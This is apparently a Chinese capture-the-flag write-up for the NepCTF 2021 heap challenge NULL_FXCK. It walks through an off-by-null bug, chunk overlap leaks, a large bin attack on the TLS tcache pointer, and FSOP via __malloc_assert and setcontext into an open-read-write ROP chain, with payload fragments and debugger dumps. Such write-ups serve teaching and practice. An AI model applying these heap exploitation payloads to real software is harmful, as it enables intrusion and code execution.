nepctf-2021 NULL_FXCK
程序分析
init
1 | unsigned __int64 sub_14D0() |
两个 prctl 的调用表明这里大概率起了沙箱调用,禁止 execve 调用,也就限制了我们的 gadgets 获取 shell
check
1 | unsigned __int64 check() |
这里本质上还是初始化的过程,要求了以下几点:
- 要求 hook 为 NULL,即未被修改,这也就限制了我们篡改 hook 函数的想法
- Canary 检查
- 对 tcache_perthread_struct 结构体进行清零
main
1 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
Create
1 | unsigned __int64 Create() |
Modify
1 | unsigned __int64 Modify() |
read 函数实际上返回的是读入的大小值,buf_1[read] 实际上也就是读取内容的最后一个数组,这里把读取内容的最后多加一个 0 的字符串,存在 off-by-null 漏洞。
1 | unsigned __int64 sub_1870() |
Delete
1 | unsigned __int64 Delete() |
Show
1 | ssize_t Show() |
核心利用手法概述
- 信息泄露 (Leak): 利用堆溢出/Off-by-Null 篡改 Chunk Size,制造堆块重叠 (Chunk Overlapping),使得正在使用的堆块与 Unsorted Bin 中的堆块重叠,从而打印出 main_arena 的地址泄露 libc_base,以及堆指针泄露 heap_base。
- 布置 ORW 链: 在堆上的已知位置提前写入用于读取 Flag 的 ROP 链(Open -> Read -> Write)。
- Large Bin Attack: 利用 Large Bin 插入机制的漏洞,向任意地址写入一个堆指针。这里的目标是写入 tls_struct。TLS 中保存着当前线程的 tcache_perthread_struct 指针。
- 伪造 Tcache & FSOP 劫持控制流: 通过上一步,让程序的 tcache 指向我们伪造在堆上的结构体。在这个结构体中,同时伪造了 _IO_FILE 结构。通过请求一个超大内存 add(0x1000),触发 __malloc_assert 报错,报错机制会刷新 IO 流,触发伪造的 vtable,调用 setcontext,最终执行布置好的 ORW 链拿到 Flag。
EXP 思路:
构造堆风水造成信息泄露
1 | add(0x418) #0 大小大于0x410,释放之后直接进UnSortedbin |
1 | pwndbg> heap |
到这里,堆上形成了一大片空闲区域。
1 | payload = b'a'*0x428 + p64(0xc91) |
- 此时 UnSortedbin : chunk2&3 -> chunk 0 -> main_arena + 96
1 | pwndbg> heap |
制造了一个大小为 0xc91( 0x440 + 0x210 + 0x430 + 0x210 )的 Fake chunk,覆盖了后面的正在使用 chunk:
1 | add(0x418) #2 恢复 0x55f5ea696d20 UnSortedbin |
- 看一下当前堆情况:
1 | pwndbg> heap |
1 | free(3) |
1 | pwndbg> heap |
1 | # 利用重新分配,将 unsorted bin 的 fd/bk 指针落入我们可以 show 的堆块中 |
- 利用 off-by-null 修改 chunk3 的标志位为 0,为后面合并打铺垫
1 | pwndbg> heap |
1 | add(0x418) # 隔离块1 |
- 当 free3 时,glibc 检查他的标志位,发现他的标志位是 0,误认为前面的块是空闲的,之后 glibc 查 prev_size 位,发现前面一个块的大小为 0xc90,就会直接吞并前面 0xc90 个字节的空间,这就正好合并到我们之前伪造的 size -> 0xc91,欺骗 glibc 让其误认为这就是一个大小为 0xc90 的 chunk,全部合并到 UnSortedbin 当中。
1 | 0x563c95392d00: 0x6161616161616161 0x0000000000000c91 |
看一下此时的堆块和 bins:
1 | # 修复被破坏的内部 Chunk 头部 |
我们从 heap 发现由于发生了一次非法的强行合并,被包裹在里面的 Chunk 4、Chunk 5 的头部实际上是混乱的
add(0x430, payload):我们从那个超级大的空闲块中切下第一块,利用 payload 把内部残破的结构修复,防止接下来我们再去申请或者打印数据时导致 glibc 崩溃。
1 | # add(0x1600) 之前 |
1 | add(0x1600) # 将前面构造的巨大 chunk 推入 Unsorted Bin 或 Large Bin |
1 | pwndbg> x/100gx 0x557b6b239140 |
当前 largebin 的范围为 0x1200-0x13f0,也就是第 98 个桶, 98 * 2 * 8 + 0x80 = 0x6a0
__malloc_hook 和 main_arena 紧挨着,也就是 0x7f6f39ed3ba0 那个位置。
- libc_base = u64(io.recv(6).ljust(8, b’\x00’)) - 0x6a0 - libc.sym[“__malloc_hook”] 成立
而当我们 show(5)的时候,先泄露的就是 0x0000557b6b2382b0 这个地址,减去 0x2b0 正好是 heap_base
布置 ORW ROP 链
1 | # 计算 TLS 结构体地址 (Thread Local Storage),它是 Large Bin Attack 的目标 |
- 由于 TLS 中保存着指向
tcache_perthread_struct的指针。如果我们用 Large Bin Attack 把这个指针改写成我们的堆地址,那么我们就可以控制程序的 Tcachebin。 - 利用 SetContext 可以把栈的 RSP 指针拉到堆上
1 | # 布置 ORW (Open-Read-Write) 链 |
1 | pwndbg> heap |
free(0):把之前的 0 号位空出来,用来存放接下来的载荷。- 我们接下来要把 orw 链写进堆里。但系统调用
open(filename, 0)需要一个指向文件名的字符串指针。 0x8e0: 0x290 + 0x20 + 0x420 + 0x200 + 0x10(chunk0 头)= 0x8e00x100:这是我们在 payload 里留出的填充空间。- 我们之后把
"flag"字符串刚好放在heap_base + 0x8e0 + 0x100的位置,这样open就能找到它
Open (“flag”, 0)
1 | orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(sys_open) |
pop rdi -> flag_addr:把刚才算好的字符串地址给 RDI(第一个参数)。pop rsi -> 0:把 0 给 RSI 。- 调用
open:系统会打开 flag 文件。在 Linux 中,标准输入是 0,标准输出是 1,标准错误是 2。所以我们新打开的这个 flag 文件,文件描述符 fd 是 3。
Read (3, buffer, size)
1 | orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(sys_read) |
pop rdi -> 3:指定读取文件描述符 3(刚打开的 flag 文件)。pop rsi -> flag_addr + 0x100:把读出来的数据存在flag_addr + 0x100。pop rdx -> 0x40:告诉系统读 0x40 个字节
Write (1, buffer, size)
1 | orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(sys_write) |
pop rdi -> 1:指定写到文件描述符 1(也就是屏幕 stdout)。pop rsi -> flag_addr + 0x100:刚才把数据读到哪了,现在就从哪里取。pop rdx -> 0x40:打印 64 字节。- 调用
write,Flag 就会喷在屏幕上!
创建 chunk0 写入 ORW
1 | orw = orw.ljust(0x100, b'a') |
- 我们把
flag字符串会被放在偏移为0x100的位置。前面的用 ljust 进行填充,拼接上真正的文件名b'flag\x00' - 用
add(0x440, orw),重新创建Chunk 0,此时 chunk0 中写入了 ORW
Large Bin Attack
Large Bin Attack 的核心原理:当向 Large Bin 插入一个新 chunk 时,如果没有进行合法性检查,我们可以通过篡改已有 chunk 的 bk_nextsize 指针,实现任意地址写一个已知堆地址。
1 | free(5) # 放入 unsorted bin 0x430 |
b'a'*0x208:填充掉原 Chunk 4 的空间。p64(0x431):伪造 Chunk 5 的 Size(0x430+ P位),绕过 glibc 的检查。p64(libc_base + 0x1e3ff0)*2:伪造fd和bk。这是为了让 Unsorted Bin 的链表不断裂,欺骗 glibc 的基本完整性检查。p64(heap_base + 0x1350):伪造fd_nextsize。p64(tls_struct - 0x20):伪造bk_nextsize。
1 | add(0x1240, payload) |
free(11) 只是为了微调一下链表顺序。add(0x500)
- 它去 Unsorted Bin 里找,发现里面的块(Chunk 4 和 被篡改的 Chunk 5)都不够大。
- 按照机制,glibc 必须清空 Unsorted Bin,把这些不合格的块“按大小分类”扔进它们该去的桶里。
- Chunk 5(大小
0x430)被回收到 Large Bin 当中
1 | // victim 是当前正在被插入的块 |
(tls_struct - 0x20) -> fd_nextsize = victim ==> (tls_struct - 0x20) + 0x20 = victim
结果: 当前线程的 tcache_perthread_struct 指针被改写,指向了我们的堆块。接下来的 tcache 分配都会从我们伪造的结构体里拿。
伪造结构与触发执行 FSOP
1 | # 修复刚才破坏的堆块环境,防止后续 malloc 崩溃 |
1 | fake_tcache = fake_tcache.ljust(0xe8, b'\x00') + p64(IO_file_jumps + 0x60) |
ljust(0xe8, b'\x00'):0xe8 + 0x10 = 0xf8 在 entries 数组里的第15个元素p64(IO_file_jumps + 0x60):在这里写入了 _IO_file_sync 的指针地址,可以绕过 vtable 检查- 当我们 add(0x100, p64(sys_setcontext + 61)) 时,0x110 大小的堆块,对应的索引正好是 15
(0x110 - 0x20) / 0x10 = 15- 那么p64(sys_setcontext + 61) 就会覆盖 _IO_file_sync
1 | fake_tcache = fake_tcache.ljust(0x168, b'\x00') + p64(IO_helper_jumps + 0xa0) |
把 setcontext 即将读取上下文的地址(RDX + 0xa0),塞进了 Tcache 的 31号桶,对应分配 0x200 大小的内存。 随后脚本调用 add(0x200),拿到了这个内存块。 然后往里面写入了 heap_base + 0x8e0(ORW 链的地址)和 ret 。当 setcontext 被触发时,就会将 RSP指向你的 ORW 链
1 | fake_tcache += p64(heap_base + 0x46f0) # 篡改 top_chunk 指针,制造异常 |
这行代码落在了 Tcache 的 32号桶,对应分配 0x210 大小的内存。 然后将当前堆的 Top Chunk 的真实地址 heap_base + 0x46f0 写了进去。 随后调用 add(0x210),glibc 就把 Top Chunk 的头部当成空闲块分配。 之后将 top_chunk 修改为 0x999 导致原本合法的 Top Chunk Size 被强行覆盖成了 0x999 这个不合法的大小。
add(0x1000)
- 程序试图分配 0x1000,发现空间不够,调用
sysmalloc。 sysmalloc检查top_chunk被篡改,发现大小异常,触发__malloc_assertassert失败会导致程序中止并打印错误,这需要调用 IO 相关的函数(刷新stderr流)。- 由于指针已被劫持,程序会使用我们在堆上伪造的
_IO_FILE结构。 - 通过伪造的 vtable (
IO_helper_jumps),程序最终将执行流交给了setcontext + 61。 setcontext根据我们布置的堆内存恢复寄存器(包括将栈指针RSP指向堆上的 ORW 链)。- 程序从堆上 “Return”,顺着执行 Open -> Read -> Write,将 Flag 输出到终端
总 EXP:
1 | from pwn import * |
更新: 2026-04-27 16:32:10
原文: https://www.yuque.com/idcm/wnemg9/atp1v4un4fw5rnqp